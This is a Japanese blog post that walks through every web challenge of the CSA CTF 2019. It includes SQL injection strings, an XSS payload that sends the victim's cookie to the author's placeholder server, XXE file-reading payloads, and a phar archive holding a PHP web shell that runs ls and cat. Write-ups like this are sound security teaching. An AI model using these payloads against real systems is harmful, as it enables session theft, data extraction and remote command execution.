こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

CSA CTF 2019 Writeup - Web(全問)

CSA CTF 2019のWeb問を全完したのでWriteupを書く。難易度はかなり易しめ。

CSA Database 1 - Suspicious member

Question

We have a suspicious user in our system. See if you can find him. 
http://35.231.36.102:1776

f:id:graneed:20190427015836p:plain

Solution

" or "a"="aを入力。

f:id:graneed:20190427015942p:plain

シングルクォーテーションではなくダブルクォーテーションなのは珍しい。

CSACTF{0i_0i_Wh0_1s_th1s_guys?}

CSA Database 2 - Darkest Secret

Question

One of our officers is having a dark secret. Can you reveal it?
http://35.231.36.102:1777

f:id:graneed:20190427020254p:plain

Solution

CSA Database 1と同じ方法ではフラグは出ない。

" UNION ALL SELECT 1,1,1,1を入力すると1,1,1,1が表示された。
SQL Injectionの脆弱性自体は残っているようだ。

テーブル名を確認する。
" UNION ALL SELECT 1,1,table_schema,table_name from information_schema.tables #

f:id:graneed:20190427020641p:plain

列名を確認する。
" UNION ALL SELECT 1,1,1,column_name from information_schema.columns where table_name='csa_officers' #

f:id:graneed:20190427020744p:plain

怪しい列を発見したので表示する。
" UNION ALL SELECT 1,1,1,darkest_secret from csa_officers #

f:id:graneed:20190427020903p:plain

CSACTF{0h_n0!Y0u_F0und_My_S3cr3t!}

CSA Portal

Question

Are you a member of CSA yet?
Sign up here: http://35.231.36.102:1779/

f:id:graneed:20190427021058p:plain

Solution

サインアップ、ログインすると、メッセージを投稿する画面が表示される。

<script>location.href = "http://<myserver>/?" + document.cookie</script>を投稿。

しばらくすると、 GET /?PHPSESSID=6j48gtv0fktfn0cuqtvsl8g2u7にアクセスが来た。
Cookieにセットしてアクセスするとフラグを得られた。

CSACTF{blu3_1s_such_4_l4zy_sys_4dm1n!}

The Outer Space

Question

Our new authentication portal was just launched. Is it secured?
http://35.231.36.102:1774/

f:id:graneed:20190427021447p:plain

Solution

送信ボタンを押下すると、xxe.phpにPOSTする。
ファイル名をxxeにするとか、サービス過剰すぎない?

以下のXXEペイロードを送信して、phpソースコードを得る。

<!DOCTYPE hoge [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>

得られたphpソースコードは以下の通り。

<?php 
    /**
     * This funtion will take a pattern and a folder as the argument and go thru it(recursivly if needed)and return the list of 
     *               all files in that folder.
     * Link             : http://www.bin-co.com/php/scripts/filesystem/ls/
     * Arguments     :  $pattern - The pattern to look out for [OPTIONAL]
     *                    $folder - The path of the directory of which's directory list you want [OPTIONAL]
     *                    $recursivly - The funtion will traverse the folder tree recursivly if this is true. Defaults to false. [OPTIONAL]
     *                    $options - An array of values 'return_files' or 'return_folders' or both
     * Returns       : A flat list with the path of all the files(no folders) that matches the condition given.
     */
    function ls($pattern="*", $folder="", $recursivly=false, $options=array('return_files','return_folders')) {
        if($folder) {
            $current_folder = realpath('.');
            if(in_array('quiet', $options)) { // If quiet is on, we will suppress the 'no such folder' error
                if(!file_exists($folder)) return array();
            }
            
            if(!chdir($folder)) return array();
        }
        
        
        $get_files    = in_array('return_files', $options);
        $get_folders= in_array('return_folders', $options);
        $both = array();
        $folders = array();
        
        // Get the all files and folders in the given directory.
        if($get_files) $both = glob($pattern, GLOB_BRACE + GLOB_MARK);
        if($recursivly or $get_folders) $folders = glob("*", GLOB_ONLYDIR + GLOB_MARK);
        
        //If a pattern is specified, make sure even the folders match that pattern.
        $matching_folders = array();
        if($pattern !== '*') $matching_folders = glob($pattern, GLOB_ONLYDIR + GLOB_MARK);
        
        //Get just the files by removing the folders from the list of all files.
        $all = array_values(array_diff($both,$folders));
            
        if($recursivly or $get_folders) {
            foreach ($folders as $this_folder) {
                if($get_folders) {
                    //If a pattern is specified, make sure even the folders match that pattern.
                    if($pattern !== '*') {
                        if(in_array($this_folder, $matching_folders)) array_push($all, $this_folder);
                    }
                    else array_push($all, $this_folder);
                }
                
                if($recursivly) {
                    // Continue calling this function for all the folders
                    $deep_items = ls($pattern, $this_folder, $recursivly, $options); # :RECURSION:
                    foreach ($deep_items as $item) {
                        array_push($all, $this_folder . $item);
                    }
                }
            }
        }
        
        if($folder) chdir($current_folder);
        return $all;
    }

    libxml_disable_entity_loader (false); 
    $xmlfile = $_POST['body']; //file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->user; 
    $pass = $creds->pass; 
    echo "<html> <head> <link rel=\"stylesheet\" type=\"text/css\" href=\"./countrylane.css\"></head>";
    if ($user == "admin") {
        if ($pass == "0e1234") {
            echo "<p> The creds [ $user : $pass ] were correct! </p>";
            echo "<br>";
            print("<p> You won the directory listing! </p>");
            echo "<br>";
            $listing = ls("*");
            echo "<p>";
            print_r($listing);
            echo "</p>";
        } else {
            echo "Wrong password [ $user : $pass ]";
        }
    } else {
        echo "<p> Wrong creds [ $user : $pass ] </p>";
    }
?> 

user/passがadmin/0e1234であることがわかる。

<creds>
<user>admin</user>
<pass>0e1234</pass>
</creds>

を入力するとlsコマンドが実行され、flag.txtが存在することがわかる。

最初と同じ要領でflag.txtを取得。

<!DOCTYPE hoge [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt">
]>
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>

CSACTF{1_d0nt_kn0w_wh4t_t0_put_h3r3_lm40}

Huzzah

Question

http://35.231.36.102:1775/

f:id:graneed:20190427022718p:plain

huzzah.php

<?php

echo("<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"./oldtown.css\"></head>");

class Magic {
    function __destruct() {
        $a = $this->data;

        if (strstr($a, ";") !== false or strstr($a, "&") !== false) {
            echo("<p>[-] That's bad, don't do that" . "</p><br>");
        } elseif (strcmp($a, "flag.txt") === 0) {
            echo("<p>[+] Attempting a magic trick!" . "</p><br>");
            include($a);
            //eval($this->data . ";");
        } else {
            echo("<p>[-] You gave bad input - " . $a . "</p><br>");
        }

        system("rm uploads/magic.phar");
    }
}

include('phar://uploads/magic.phar');

//echo(file_exists("phar://uploads/magic.phar"));
echo("<a id=\"huzzah\" href=\"index.html\">GO BACK --</a>");

?>

Solution

URLにアクセスすると、pharファイルをアップロードする機能と、huzzah.phpへのリンク。

適当にpharファイルを作ってアップロードしてみると、magic.pharというファイル名でないと受け付けてくれないことがわかる。

次に、huzzah.phpソースコードを確認すると、以下のincludeを実行している。
include('phar://uploads/magic.phar');
magic.pharをアップロードしてhuzzah.phpにアクセスしたら実行してくれそう。

簡易webshellを含むmagic.pharを作る。

・makephar.php

<?php
    $phar = new Phar('magic.phar', 0);
    $phar->addFile('index.php');

・index.php

<?php
if($_GET['cmd']) {
  system($_GET['cmd']);
}
root@kali:~/Contest/CTACTF2019# php makephar.php 
root@kali:~/Contest/CTACTF2019# ll magic.phar 
-rwxrwxrwx 1 root root 6779 Apr 27 00:24 magic.phar

magic.pharをアップロードして/huzzah.php?cmd=lsへアクセスしてみる。

f:id:graneed:20190427023141p:plain

flag.txtがあることがわかった。 /huzzah.php?cmd=cat%20flag.txtへアクセスするとフラグを得られた。

CSACTF{php_1s_full_0f_m@g1c}

Biscuits Shop

Question

Get your biscuits today: http://35.231.36.102:1773/

f:id:graneed:20190427023339p:plain

Solution

アカウントの登録とログインが可能。

適当にアカウントを作成すると、そのまま自動でログインして、以下のメッセージが表示される。

Get your biscuit today
Welcome to the The Biscuit Shop.

Flag only available for "admin"..

Feature coming soon. You are currently logged in as <アカウント名>!

adminでアカウントを作成しようとするが当然失敗。

SQL Injectionの脆弱性を疑い、Usernameが' or 'A'='Aのアカウントを作成したところ、 アカウント作成の失敗のメッセージが表示されず、トップ画面に飛ばされる。 また、ログイン成功したときに得られるCookieのauthパラメータが返却されるという不思議な挙動。

原因を切り分けたところ、アカウント名に=文字が入っていると、この挙動になることを突き止める。

試しにusernameをadmin=にしてアカウントを作成してみる。
f:id:graneed:20190427023724p:plain

は・・・?フラグが得られた。
想定解とは異なる気がするが。

CSACTF{4_c00k1e_4_d4y_k33ps_th3_s4dn3ss_4w4y}